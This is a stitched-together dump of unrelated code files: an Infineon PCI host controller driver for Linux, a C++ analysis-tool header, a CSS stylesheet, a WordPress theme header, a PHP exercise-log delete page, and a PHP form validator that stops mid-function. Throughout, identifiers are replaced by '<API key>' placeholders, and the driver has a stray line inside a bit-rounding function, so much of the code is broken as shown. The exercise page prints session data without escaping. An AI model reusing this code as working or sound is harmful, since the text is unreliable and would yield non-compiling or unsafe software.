\ingroup IFX_PCI
\brief pci bus driver source file
*/
#include <linux/module.h>
#include <linux/types.h>
#include <linux/pci.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/delay.h>
#include <linux/interrupt.h>
#include <linux/mm.h>
#include <asm/paccess.h>
#include <asm/addrspace.h>
#include <asm/ifx/ifx_types.h>
#include <asm/ifx/ifx_regs.h>
#include <asm/ifx/common_routines.h>
#include <asm/ifx/ifx_gpio.h>
#include <asm/ifx/irq.h>
#include <asm/ifx/ifx_rcu.h>
#include "ifxmips_pci_reg.h"
#include "ifxmips_pci.h"
#define IFX_PCI_VER_MAJOR 1
#define IFX_PCI_VER_MID 2
#define IFX_PCI_VER_MINOR 0
extern u32 max_pfn, max_low_pfn;
extern struct pci_controller ifx_pci_controller;
extern int ifx_pci_bus_status;
extern void __iomem *ifx_pci_cfg_space;
extern u32 pci_config_addr(u8 bus_num, u16 devfn, int where);
/* Used by ifxmips_interrupt.c to suppress bus exception */
int pci_bus_error_flag;
extern u32 ifx_pci_config_read(u32 addr);
extern void <API key>(u32 addr, u32 data);
#ifdef <API key>
#define IFX_PCI_REQ1 29
#define IFX_PCI_GNT1 30
#endif /* <API key> */
static const int pci_gpio_module_id = IFX_GPIO_MODULE_PCI;
#ifdef <API key>
#include <asm/ifx/ifx_ebu_led.h>
static inline void
<API key>(void)
{
ifx_ebu_led_enable();
<API key>(9, 1);
}
static inline void
ifx_pci_dev_reset(void)
{
<API key>(9, 0);
mdelay(5);
<API key>(9, 1);
mdelay(1);
ifx_ebu_led_disable();
}
#else
/* GPIO in global view */
#define IFX_PCI_RST 21
static inline void
<API key>(void)
{
/*
* PCI_RST: P1.5 used as a general GPIO, instead of PCI_RST gpio.
* In Danube/AR9, it reset internal PCI core and external PCI device
* However, in VR9, it only resets external PCI device. Internal core
* reset by PCI software reset registers.
* GPIO21 if used as PCI_RST, software can't control reset time.
* Since it uses as a general GPIO, ALT should 0, 0.
*/
<API key>(IFX_PCI_RST, pci_gpio_module_id);
ifx_gpio_output_set(IFX_PCI_RST, pci_gpio_module_id);
<API key>(IFX_PCI_RST, pci_gpio_module_id);
<API key>(IFX_PCI_RST, pci_gpio_module_id);
<API key>(IFX_PCI_RST, pci_gpio_module_id);
<API key>(IFX_PCI_RST, pci_gpio_module_id);
}
static inline void
ifx_pci_dev_reset(void)
{
/* Reset external PCI device. */
<API key>(IFX_PCI_RST, pci_gpio_module_id);
smp_wmb();
mdelay(5);
ifx_gpio_output_set(IFX_PCI_RST, pci_gpio_module_id);
smp_wmb();
mdelay(1);
}
#endif /* <API key> */
static u32 <API key>(u32 x)
{
x
x |= x >> 1;
x |= x >> 2;
x |= x >> 4;
x |= x >> 8;
x |= x >> 16;
x++;
return x;
}
static void
ifx_pci_startup(void)
{
u32 reg;
/* Choose reset from RCU first, then do reset */
reg = IFX_REG_R32(IFX_CGU_PCI_CR);
reg |= <API key>; /* XXX, Should be RCU*/
IFX_REG_W32(reg, IFX_CGU_PCI_CR);
/* Secondly, RCU reset PCI domain including PCI CLK and PCI bridge */
ifx_rcu_rst(IFX_RCU_DOMAIN_PCI, IFX_RCU_MODULE_PCI);
reg = IFX_REG_R32(IFX_CGU_IF_CLK);
reg &= ~ IFX_PCI_CLK_MASK;
/*
* CGU PCI CLK is specific with platforms. Danube has four bits,
* AR9 and VR9 has five bits. Their definitions are in platform header
* file
*/
#ifdef <API key>
reg &= ~<API key>;
/* External clk has no need to set clk in register */
#else
reg |= <API key>;
#ifdef <API key>
/* PCI 62.5 MHz clock */
reg |= IFX_PCI_60MHZ;
#else
/* PCI 33.3 MHz clock */
reg |= IFX_PCI_33MHZ;
#endif /* <API key> */
#endif /* <API key> */
IFX_REG_W32(reg, IFX_CGU_IF_CLK);
reg = IFX_REG_R32(IFX_CGU_PCI_CR);
#ifdef <API key>
reg &= ~<API key>;
#else
reg |= <API key>;
#endif /* <API key> */
reg &= ~IFX_PCI_DELAY_MASK;
#if !defined(<API key>) || <API key> < 0 || <API key> > 7
#error "please define <API key> properly"
#endif
reg |= (<API key> << IFX_PCI_DELAY_SHIFT);
#if !defined(<API key>) || <API key> < 0 || <API key> > 5
#error "Please <API key> properly"
#endif
reg |= (<API key> << 18);
IFX_REG_W32(reg, IFX_CGU_PCI_CR);
<API key>();
#ifdef <API key>
/* PCI_REQ1: P1.13 ALT 01 */
<API key>(IFX_PCI_REQ1, pci_gpio_module_id);
ifx_gpio_dir_in_set(IFX_PCI_REQ1, pci_gpio_module_id);
<API key>(IFX_PCI_REQ1, pci_gpio_module_id);
<API key>(IFX_PCI_REQ1, pci_gpio_module_id);
/* PCI_GNT1: P1.14 ALT 01 */
<API key>(IFX_PCI_GNT1, pci_gpio_module_id);
<API key>(IFX_PCI_GNT1, pci_gpio_module_id);
<API key>(IFX_PCI_GNT1, pci_gpio_module_id);
<API key>(IFX_PCI_GNT1, pci_gpio_module_id);
<API key>(IFX_PCI_GNT1, pci_gpio_module_id);
#endif /* <API key> */
/* Enable auto-switching between PCI and EBU, normal ack */
reg = <API key> | <API key>;
IFX_REG_W32(reg, IFX_PCI_CLK_CTRL);
/* Configuration mode, i.e. configuration is not done, PCI access has to be retried */
IFX_REG_CLR_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD);
smp_wmb();
/* Enable bus master/IO/MEM access */
reg = IFX_REG_R32(IFX_PCI_CMD);
reg |= IFX_PCI_CMD_IO_EN | IFX_PCI_CMD_MEM_EN | <API key>;
IFX_REG_W32(reg, IFX_PCI_CMD);
reg = IFX_REG_R32(IFX_PCI_ARB);
#ifdef <API key>
/* Enable external 4 PCI masters */
reg &= ~(SM(3, <API key>));
#else
/* Enable external 1 PCI masters */
reg &= ~(SM(1, <API key>));
#endif
/* Enable internal arbiter */
reg |= <API key>;
/* Enable internal PCI master reqest */
reg &= ~(SM(3, <API key>));
/* Enable EBU reqest */
reg &= ~(SM(3, <API key>));
/* Enable all external masters request */
reg &= ~(SM(3, <API key>));
IFX_REG_W32(reg, IFX_PCI_ARB);
smp_wmb();
/*
* FPI ==> PCI MEM address mapping
* base: 0xb8000000 == > 0x18000000
* size: 8x4M = 32M
*/
reg = <API key>;
IFX_REG_W32(reg, <API key>);
reg += 0x400000;
IFX_REG_W32(reg, <API key>);
reg += 0x400000;
IFX_REG_W32(reg, <API key>);
reg += 0x400000;
IFX_REG_W32(reg, <API key>);
reg += 0x400000;
IFX_REG_W32(reg, <API key>);
reg += 0x400000;
IFX_REG_W32(reg, <API key>);
reg += 0x400000;
IFX_REG_W32(reg, <API key>);
reg += 0x400000;
IFX_REG_W32(reg, <API key>);
/* FPI ==> PCI IO address mapping
* base: 0xbAE00000 == > 0xbAE00000
* size: 2M
*/
IFX_REG_W32(IFX_PCI_IO_PHY_BASE, <API key>);
/* PCI ==> FPI address mapping
* base: 0x0 ==> 0x0
* size: 32M
*/
/* At least 16M. Otherwise there will be discontiguous memory region. */
reg = <API key>;
reg |= ((-<API key>((max_low_pfn << PAGE_SHIFT))) & 0x0F000000);
IFX_REG_W32(reg, IFX_PCI_BAR11MASK);
IFX_REG_W32(0x0, IFX_PCI_ADDR_MAP11);
IFX_REG_W32(0x0, IFX_PCI_BAR1);
#ifdef <API key>
/* both TX and RX endian swap are enabled */
reg = IFX_PCI_SWAP_RX | IFX_PCI_SWAP_TX;
IFX_REG_W32(reg, IFX_PCI_SWAP);
smp_wmb();
#endif
reg = IFX_REG_R32(IFX_PCI_BAR12MASK);
reg |= <API key>;
IFX_REG_W32(reg, IFX_PCI_BAR12MASK);
reg = IFX_REG_R32(IFX_PCI_BAR13MASK);
reg |= <API key>;
IFX_REG_W32(reg, IFX_PCI_BAR13MASK);
reg = IFX_REG_R32(IFX_PCI_BAR14MASK);
reg |= <API key>;
IFX_REG_W32(reg, IFX_PCI_BAR14MASK);
reg = IFX_REG_R32(IFX_PCI_BAR15MASK);
reg |= <API key>;
IFX_REG_W32(reg, IFX_PCI_BAR15MASK);
reg = IFX_REG_R32(IFX_PCI_BAR16MASK);
reg |= <API key>;
IFX_REG_W32(reg, IFX_PCI_BAR16MASK);
/* Use 4 dw burse length, XXX 8 dw will cause PCI timeout */
reg = SM(<API key>, <API key>) |
SM(<API key>, <API key>);
IFX_REG_W32(reg, <API key>);
/* Configuration OK. */
IFX_REG_SET_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD);
smp_wmb();
mdelay(1);
ifx_pci_dev_reset();
}
/* Brief: disable external pci aribtor request
* Details:
* blocking call, i.e. only return when there is no external PCI bus activities
*/
void
<API key>(void)
{
IFX_REG_RMW32_FILED(<API key>, 3, IFX_PCI_ARB);
smp_wmb();
/* make sure EBUSY is low && Frame Ird is high) */
while ((IFX_REG_R32(IFX_PCI_ARB) &
(<API key> | <API key> | <API key>))
!= (<API key> | <API key>));
}
/* Brief: enable external pci aribtor request
* Details:
* non-blocking call
*/
void
<API key>(void)
{
/* Clear means enabling all external masters request */
IFX_REG_CLR_BIT(<API key>, IFX_PCI_ARB);
smp_wmb();
}
#ifdef <API key>
void
ifx_enable_ebu(void)
{
u32 reg;
/* Delay before enabling ebu ??? */
/* Disable int/ext pci request */
reg = IFX_REG_R32(IFX_PCI_ARB);
reg &= ~(<API key>);
reg |= (<API key> | <API key>);
IFX_REG_W32(reg, IFX_PCI_ARB);
/* Poll for pci bus idle */
reg = IFX_REG_R32(IFX_PCI_ARB);
while ((reg & <API key>) != <API key>) {
reg = IFX_REG_R32(IFX_PCI_ARB);
};
/* EBU only, Arbitor fix*/
IFX_REG_W32(0, IFX_PCI_CLK_CTRL);
/*
* Unmask CFRAME_MASK changing PCI's Config Space via internal path
* might need to change to external path
*/
/* Start configuration, one burst read is allowed */
reg = IFX_REG_R32(IFX_PCI_MOD);
reg &= ~IFX_PCI_MOD_CFG_OK;
reg |= <API key> | SM(1, <API key>);
IFX_REG_W32(reg, IFX_PCI_MOD);
reg = IFX_REG_R32(<API key>);
reg &= ~<API key>;
IFX_REG_W32(reg, <API key>);
IFX_REG_SET_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD);
reg = IFX_REG_R32(<API key>);
}
EXPORT_SYMBOL(ifx_enable_ebu);
void
ifx_disable_ebu(void)
{
u32 reg;
/* Delay before enabling ebu ??? */
/* Restore EBU and PCI auto switch */
IFX_REG_W32(<API key>, IFX_PCI_CLK_CTRL);
/*
* unmask CFRAME_MASK changing PCI's Config Space via internal path
* might need to change to external path
*/
reg = IFX_REG_R32(IFX_PCI_MOD);
/* Start configuration, one burst read is allowed */
reg &= ~IFX_PCI_MOD_CFG_OK;
reg |= <API key> | SM(1, <API key>);
IFX_REG_W32(reg, IFX_PCI_MOD);
reg = IFX_REG_R32(<API key>);
reg |= <API key>;
IFX_REG_W32(reg, <API key>);
IFX_REG_SET_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD);
/* Enable int/ext pci request */
reg = IFX_REG_R32(IFX_PCI_ARB);
reg &= ~(<API key> | <API key>);
reg |= <API key>;
IFX_REG_W32(reg, IFX_PCI_ARB);
}
EXPORT_SYMBOL(ifx_disable_ebu);
#endif /* <API key> */
static void __devinit
<API key>(struct pci_dev *dev)
{
struct pci_controller* hose = (struct pci_controller *)dev->sysdata;
int i;
unsigned long offset;
if (!hose) {
printk(KERN_ERR "No hose for PCI dev %s!\n", pci_name(dev));
return;
}
for (i = 0; i < <API key>; i++) {
struct resource *res = dev->resource + i;
if (!res->flags)
continue;
if (res->end == 0xffffffff) {
printk(KERN_INFO "PCI:%s Resource %d [%016llx-%016llx] is unassigned\n",
pci_name(dev), i, (u64)res->start, (u64)res->end);
res->end -= res->start;
res->start = 0;
res->flags |= IORESOURCE_UNSET;
continue;
}
offset = 0;
if (res->flags & IORESOURCE_MEM) {
offset = hose->mem_offset;
}
else if (res->flags & IORESOURCE_IO) {
offset = hose->io_offset;
}
if (offset != 0) {
res->start += offset;
res->end += offset;
printk(KERN_INFO "Fixup res %d (%lx) of dev %s: %llx -> %llx\n",
i, res->flags, pci_name(dev),
(u64)res->start - offset, (u64)res->start);
}
}
IFX_PCI_PRINT("[%s %s %d]: %s\n", __FILE__, __func__, __LINE__, pci_name(dev));
/* Enable I/O, MEM, Bus Master, Special Cycles SERR, Fast back-to-back */
<API key>(dev, PCI_COMMAND,
PCI_COMMAND_IO | PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER |
PCI_COMMAND_SPECIAL | PCI_COMMAND_SERR | <API key>);
}
<API key>(PCI_ANY_ID, PCI_ANY_ID, <API key>);
/**
* \fn int <API key>(struct pci_dev *dev, u8 slot, u8 pin)
* \brief Map a PCI device to the appropriate interrupt line
*
* \param[in] dev The Linux PCI device structure for the device to map
* \param[in] slot The slot number for this device on __BUS 0__. Linux
* enumerates through all the bridges and figures out the
* slot on Bus 0 where this device eventually hooks to.
* \param[in] pin The PCI interrupt pin read from the device, then swizzled
* as it goes through each bridge.
* \return Interrupt number for the device
* \ingroup IFX_PCI_OS
*/
int
<API key>(IFX_PCI_CONST struct pci_dev *dev, u8 slot, u8 pin)
{
int irq = -1;
IFX_PCI_PRINT("%s dev %s slot %d pin %d \n", __func__, pci_name(dev), slot, pin);
switch (pin) {
case 0:
break;
case 1:
IFX_PCI_PRINT("%s dev %s: interrupt pin 1\n", __func__, pci_name(dev));
/*
* PCI_INTA--shared with EBU
* falling edge level triggered:0x4, low level:0xc, rising edge:0x2
*/
IFX_REG_W32(<API key>, IFX_EBU_PCC_CON);
/* enable interrupt only */
IFX_REG_W32(<API key>, IFX_EBU_PCC_IEN);
irq = INT_NUM_IM0_IRL22;
break;
case 2:
case 3:
break;
default:
printk(KERN_WARNING "WARNING: %s dev %s: invalid interrupt pin %d\n", __func__, pci_name(dev), pin);
break;
}
return irq;
}
/**
* \fn int <API key>(struct pci_dev *dev)
* \brief Called to perform platform specific PCI setup
*
* \param[in] dev The Linux PCI device structure for the device to map
* \return OK
* \ingroup IFX_PCI_OS
*/
int
<API key>(struct pci_dev *dev)
{
return 0;
}
static void inline
ifx_pci_core_rst(void)
{
u32 reg;
unsigned long flags;
volatile int i;
local_irq_save(flags);
/* Ack the interrupt */
IFX_REG_W32(IFX_REG_R32(IFX_PCI_IRA), IFX_PCI_IRA);
/* Disable external masters */
<API key>();
/* PCI core reset start */
reg = IFX_REG_R32(IFX_PCI_SFT_RST);
reg |= IFX_PCI_SFT_RST_REQ;
IFX_REG_W32(reg, IFX_PCI_SFT_RST);
for (i = 0; i < 100; i++);
/* Wait for PCI core reset to be finished */
while ((IFX_REG_R32(IFX_PCI_SFT_RST) & <API key>));
/* Out of reset to normal operation */
reg = IFX_REG_R32(IFX_PCI_SFT_RST);
reg &= ~IFX_PCI_SFT_RST_REQ;
IFX_REG_W32(reg, IFX_PCI_SFT_RST);
for (i = 0; i < 50; i++);
/* Enable external masters */
<API key>();
local_irq_restore(flags);
}
static irqreturn_t
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)
<API key>(int irq, void *dev_id)
#else
<API key>(int irq, void *dev_id, struct pt_regs *regs)
#endif
{
/* Only care about Timeout interrupt */
if ((IFX_REG_R32(IFX_PCI_IRR) & IFX_PCI_IR_TIMEOUT) == IFX_PCI_IR_TIMEOUT) {
printk(KERN_ERR "%s: PCI timeout occurred\n", __func__);
ifx_pci_core_rst();
}
return IRQ_HANDLED;
}
static void
ifx_pci_ir_irq_init(void)
{
int ret;
/* Clear the interrupt first */
IFX_REG_W32(IFX_PCI_IR_TIMEOUT, IFX_PCI_IRA);
ret = request_irq(IFX_PCI_IR, <API key>,
IRQF_DISABLED, "ifx_pci_ir", NULL);
if (ret) {
printk("%s:request irq %d failed with %d \n", __func__, IFX_PCI_IR, ret);
return;
}
/* Unmask Timeout interrupt */
IFX_REG_W32(IFX_PCI_IR_TIMEOUT, IFX_PCI_IRM);
}
/*!
* \fn static int __init ifx_pci_init(void)
* \brief Initialize the IFX PCI host controller, register with PCI
* bus subsystem.
*
* \return -ENOMEM configuration/io space mapping failed.
* \return -EIO pci bus not initialized
* \return 0 OK
* \ingroup IFX_PCI_OS
*/
static int __init
ifx_pci_init(void)
{
u32 cmdreg;
void __iomem *io_map_base;
char ver_str[128] = {0};
pci_bus_error_flag = 1;
ifx_pci_startup();
ifx_pci_cfg_space = ioremap_nocache(<API key>, IFX_PCI_CFG_SIZE);
if (ifx_pci_cfg_space == NULL) {
printk(KERN_ERR "%s configuration space ioremap failed\n", __func__);
return -ENOMEM;
}
IFX_PCI_PRINT("[%s %s %d]: ifx_pci_cfg_space %p\n", __FILE__, __func__, __LINE__, ifx_pci_cfg_space);
/* Otherwise, warning will pop up */
io_map_base = ioremap(IFX_PCI_IO_PHY_BASE, IFX_PCI_IO_SIZE);
if (io_map_base == NULL) {
iounmap(ifx_pci_cfg_space);
IFX_PCI_PRINT("%s io space ioremap failed\n", __func__);
return -ENOMEM;
}
ifx_pci_controller.io_map_base = (unsigned long)io_map_base;
cmdreg = ifx_pci_config_read(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), PCI_COMMAND));
if (!(cmdreg & PCI_COMMAND_MASTER)) {
printk(KERN_INFO "PCI: Skipping PCI probe. Bus is not initialized.\n");
iounmap(ifx_pci_cfg_space);
return -EIO;
}
ifx_pci_bus_status |= PCI_BUS_ENABLED;
/* Turn on ExpMemEn */
cmdreg = ifx_pci_config_read(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), 0x40));
<API key>(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), 0x40),
cmdreg | 0x10);
cmdreg = ifx_pci_config_read(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), 0x40));
/* Enable normal FPI bus exception after we configured everything */
IFX_REG_CLR_BIT(<API key>, IFX_PCI_CLK_CTRL);
IFX_PCI_PRINT("[%s %s %d]: mem_resource @%p, io_resource @%p\n", __FILE__, __func__, __LINE__,
&ifx_pci_controller.mem_resource, &ifx_pci_controller.io_resource);
<API key>(&ifx_pci_controller);
ifx_pci_ir_irq_init();
ifx_drv_ver(ver_str, "PCI host controller", IFX_PCI_VER_MAJOR, IFX_PCI_VER_MID, IFX_PCI_VER_MINOR);
printk(KERN_INFO "%s", ver_str);
return 0;
}
arch_initcall(ifx_pci_init);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Lei Chuanhua, chuanhua.lei@infineon.com");
<API key>("Infineon builtin PCI module for Danube AR9 and VR9");
MODULE_DESCRIPTION("Infineon builtin PCI host controller driver");
|
#ifndef AnalysisTool_h
#define AnalysisTool_h 1
#include "StackingTool.hh"
#include <sstream> // stringstream
using namespace std;
class AnalysisTool {
public:
AnalysisTool();
virtual ~AnalysisTool();
virtual void PrintTool();
virtual bool getInterest();
virtual bool getInterest(int particle, int sturface);
virtual bool getInterest(int particle,
int sturface,
int creationProcess,
int flagPhotoElectron);
virtual bool getInterest(int particle,
int sturface,
int volume);
virtual bool getInterest(int particle,
int surface,
double energy);
virtual string processData();
virtual string processData(int id, float energy);
virtual string processData(int creation_process);
private:
};
#endif
|
body{
font-family: 'open_sansregular';
}
.header {
background: url(../images/bgo.jpg);
min-height: 600px;
}
.header-right {
background: url(../images/handpico.png) no-repeat 100% 101%;
height: 600px;
}
.pricing-grid ul li a:hover,.footer ul li a:hover, .copy-right a:hover {
color:#DB7734;
}
.apple{
background: url(../images/osprits.png) no-repeat -1px 0px;
}
.and{
background: url(../images/osprits.png) no-repeat -69px 0px;
}
.win{
background: url(../images/osprits.png) no-repeat -136px 0px;
}
.monitor{
background: url(../images/osprits.png) no-repeat 3px -54px;
}
.target{
background: url(../images/osprits.png) no-repeat -49px -54px;
}
.photo{
background: url(../images/osprits.png) no-repeat -98px -54px;
}
.colors{
background: url(../images/osprits.png) no-repeat -151px -54px;
}
.man{
background: url(../images/osprits.png) no-repeat -203px -54px;
}
.spare{
background: url(../images/osprits.png) no-repeat -255px -54px;
}
#selector a {
background: url(../images/osprits.png) no-repeat -27px -172px;
}
#selector a.current {
background: url(../images/osprits.png) no-repeat -7px -172px;
}
.twitter{
background: url(../images/osprits.png) no-repeat 5px -131px #D6D6D6;
}
.twitter:hover{
background: url(../images/osprits.png) no-repeat 5px -131px #DB7734;
}
.facebook{
background: url(../images/osprits.png) no-repeat -39px -130px #D6D6D6;
}
.facebook:hover{
background: url(../images/osprits.png) no-repeat -39px -130px #DB7734;
}
.pin{
background: url(../images/osprits.png) no-repeat -83px -130px #D6D6D6;
}
.pin:hover{
background: url(../images/osprits.png) no-repeat -83px -130px #DB7734;
}
.googlepluse{
background: url(../images/social-icons.png) no-repeat -120px 3px #D6D6D6;
}
.googlepluse:hover{
background: url(../images/social-icons.png) no-repeat -120px 3px #DB7734;
}
.in{
background: url(../images/osprits.png) no-repeat -171px -130px #D6D6D6;
}
.in:hover{
background: url(../images/osprits.png) no-repeat -171px -130px #DB7734;
}
.youtube{
background: url(../images/osprits.png) no-repeat -214px -130px #D6D6D6;
}
.youtube:hover{
background: url(../images/osprits.png) no-repeat -214px -130px #DB7734;
}
.shipping{
background: url(../images/osprits.png) no-repeat -121px -198px;
}
.payment{
background: url(../images/osprits.png) no-repeat -162px -198px;
}
.<API key>{
background: url(../images/calender.png) no-repeat #fff 50%;
}
input[type=checkbox].css-checkbox1 + label.css-label1 {
background: url(../images/osprits.png) no-repeat -204px -203px;
}
input[type=checkbox].css-checkbox1:checked + label.css-label1 {
background: url(../images/osprits.png) no-repeat -224px -203px;
}
input[type=checkbox].css-checkbox2 + label.css-label2 {
background: url(../images/osprits.png) no-repeat -224px -203px;
}
input[type=checkbox].css-checkbox2:checked + label.css-label2 {
background: url(../images/osprits.png) no-repeat -204px -203px;
}
.mfp-close {
background: url(../images/osprits.png) no-repeat -7px -231px;
}
.mfp-close:hover, .mfp-close:focus {
background: url(../images/osprits.png) no-repeat -44px -231px;
}
.pricing-grid h3,.cart{
background:#DB7734;
}
.cart a {
background: #BA662D;
}
.<API key> input[type="text"]:active, .<API key> input[type="text"]:hover {
color:#DB7734;
}
.payment-sendbtns input[type="reset"],.payment-sendbtns input[type="submit"]:hover{
background: #DB7734;
}
@media only screen and (max-width: 1024px) and (min-width: 768px){
.header-right {
background: url(../images/handpico.png) no-repeat 100% 101%;
height: 600px;
background-size: 100%;
}
}
@media only screen and (max-width: 768px) and (min-width: 640px){
.header {
background: url(../images/bgo.jpg);
min-height: 523px;
}
.header-right {
display:none;
}
.header-left label{
width: 149px;
min-height: 303px;
display: inline-block;
padding-top: 0;
margin: 0px;
background: url(../images/iphoneo.png) no-repeat;
}
}
@media only screen and (max-width: 640px) and (min-width: 480px){
.header {
background: url(../images/bgo.jpg);
min-height: 523px;
}
.header-right {
display:none;
}
.header-left label{
width: 149px;
min-height: 303px;
display: inline-block;
padding-top: 0;
margin: 0px;
background: url(../images/iphoneo.png) no-repeat;
}
}
@media only screen and (max-width: 480px) and (min-width:320px){
.header {
background: url(../images/bgo.jpg);
min-height: 499px;
}
.header-right {
display:none;
}
.header-left label{
width: 149px;
min-height: 303px;
display: inline-block;
padding-top: 0;
margin: 0px;
background: url(../images/iphoneo.png) no-repeat;
}
}
@media only screen and (max-width: 320px) and (min-width:240px){
.header {
background: url(../images/bgo.jpg);
min-height: 355px;
}
.header-right {
display:none;
}
.header-left label{
width: 101px;
min-height: 191px;
display: inline-block;
padding-top: 0;
margin: 0px;
background: url(../images/iphoneos.png) no-repeat;
}
}
|
<?php
/**
* The header template file.
* @package PaperCuts
* @since PaperCuts 1.0.0
*/
?><!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" <?php language_attributes(); ?>>
<![endif]
<!--[if IE 8]>
<html class="ie ie8" <?php language_attributes(); ?>>
<![endif]
<!--[if !(IE 7) | !(IE 8) ]><!-->
<html <?php language_attributes(); ?>>
<!--<![endif]-->
<head>
<?php global $<API key>; ?>
<meta charset="<?php bloginfo( 'charset' ); ?>" />
<meta name="viewport" content="width=device-width" />
<title><?php wp_title( '|', true, 'right' ); ?></title>
<?php if ($<API key>['<API key>'] != ''){ ?>
<link rel="shortcut icon" href="<?php echo esc_url($<API key>['<API key>']); ?>" />
<?php } ?>
<?php wp_head(); ?>
</head>
<body <?php body_class(); ?> id="wrapper">
<?php if ( !is_page_template('<API key>.php') ) { ?>
<?php if ( has_nav_menu( 'top-navigation' ) || $<API key>['<API key>'] != '' || $<API key>['<API key>'] != '' || $<API key>['<API key>'] != '' || $<API key>['<API key>'] != '' ) { ?>
<div id="<API key>">
<div class="top-navigation">
<?php if ( has_nav_menu( 'top-navigation' ) ) { wp_nav_menu( array( 'menu_id'=>'top-nav', 'theme_location'=>'top-navigation' ) ); } ?>
<div class="header-icons">
<?php if ($<API key>['<API key>'] != ''){ ?>
<a class="social-icon facebook-icon" href="<?php echo esc_url($<API key>['<API key>']); ?>"><img src="<?php echo esc_url(<API key>()); ?>/images/icon-facebook.png" alt="Facebook" /></a>
<?php } ?>
<?php if ($<API key>['<API key>'] != ''){ ?>
<a class="social-icon twitter-icon" href="<?php echo esc_url($<API key>['<API key>']); ?>"><img src="<?php echo esc_url(<API key>()); ?>/images/icon-twitter.png" alt="Twitter" /></a>
<?php } ?>
<?php if ($<API key>['<API key>'] != ''){ ?>
<a class="social-icon google-icon" href="<?php echo esc_url($<API key>['<API key>']); ?>"><img src="<?php echo esc_url(<API key>()); ?>/images/icon-google.png" alt="Google +" /></a>
<?php } ?>
<?php if ($<API key>['<API key>'] != ''){ ?>
<a class="social-icon rss-icon" href="<?php echo esc_url($<API key>['<API key>']); ?>"><img src="<?php echo esc_url(<API key>()); ?>/images/icon-rss.png" alt="RSS" /></a>
<?php } ?>
</div>
</div>
</div>
<?php }} ?>
<header id="wrapper-header">
<div id="header">
<div class="<API key>">
<div class="header-content">
<?php if ( $<API key>['papercuts_logo_url'] == '' ) { ?>
<p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></p>
<?php if ( $<API key>['<API key>'] != 'Hide' ) { ?>
<p class="site-description"><?php bloginfo( 'description' ); ?></p>
<?php } ?>
<?php } else { ?>
<a href="<?php echo esc_url( home_url( '/' ) ); ?>"><img class="header-logo" src="<?php echo esc_url($<API key>['papercuts_logo_url']); ?>" alt="<?php bloginfo( 'name' ); ?>" /></a>
<?php } ?>
<?php if ( $<API key>['<API key>'] != 'Hide' && !is_page_template('<API key>.php') ) { ?>
<?php get_search_form(); ?>
<?php } ?>
</div>
</div>
<?php if ( has_nav_menu( 'main-navigation' ) && !is_page_template('<API key>.php') ) { ?>
<div class="menu-box-wrapper">
<div class="menu-box">
<?php wp_nav_menu( array( 'menu_id'=>'nav', 'theme_location'=>'main-navigation' ) ); ?>
</div>
</div>
<?php } ?>
</div> <!-- end of header -->
</header> <!-- end of wrapper-header -->
<div id="container">
<div id="main-content">
<div id="content">
<?php if ( is_home() || is_front_page() ) { ?>
<?php if ( get_header_image() != '' && $<API key>['<API key>'] != 'Everywhere except Homepage' ) { ?>
<div class="<API key>"><div class="header-image"><img src="<?php header_image(); ?>" alt="<?php bloginfo( 'name' ); ?>" /></div></div>
<?php } ?>
<?php } else { ?>
<?php if ( get_header_image() != '' && $<API key>['<API key>'] != 'Only on Homepage' ) { ?>
<div class="<API key>"><div class="header-image"><img src="<?php header_image(); ?>" alt="<?php bloginfo( 'name' ); ?>" /></div></div>
<?php } ?>
<?php } ?>
|
<?php
session_start();
$exercise = $_SESSION['exercise'];
if($_POST){
unset($exercise[$_POST['id']]);
$_SESSION['exercise'] = $exercise;
header('Location: ./');
}
$workout = $exercise[$_REQUEST['id']];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<title>Exercise Log: Delete</title>
<!-- Bootstrap -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/css/toastr.min.css" type="text/css" />
<link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css">
<link rel="stylesheet" type="text/css" href="../style/stylesheet.css" />
</head>
<body>
<div class="container">
<div class="page-header">
<h1>Exercise <small>Viewing <?=$workout['Name']?> workout</small></h1>
</div>
<ul>
<li>Workout Name: <?=$workout['Name']?></li>
<li>Workout Amount: <?=$workout['Amount']?></li>
<li>Workout Time: <?=$workout['Time']?></li>
<li>Workout Calories Burned: <?=$workout['Calories']?></li>
</ul>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/js/toastr.min.js"></script>
<script src="//code.jquery.com/ui/1.11.4/jquery-ui.js"></script>
<script type="text/javascript">
(function($){
$(function(){
});
})(jQuery);
</script>
</body>
</html>
|
<?php
/**
* Validate form
*
* @param array $form definition
* @param array $data filtered
* @return boolean | array ('fildname'=>'error message')
*/
function validateForm($form, $datafiltered)
{
$validatedata = null;
foreach ($form as $key => $form_field) {
// if ($form[$key]['validation'] != null) { // hay que validar
if (array_key_exists( 'validation', $form[$key] )) { // hay que validar
$validation = $form_field['validation'];
$valor = $datafiltered[$key];
foreach ($validation as $val_type => $val_data) {
switch ($val_type) {
case 'required':
if ($valor == null) {
if (array_key_exists('error_message', $validation)) {
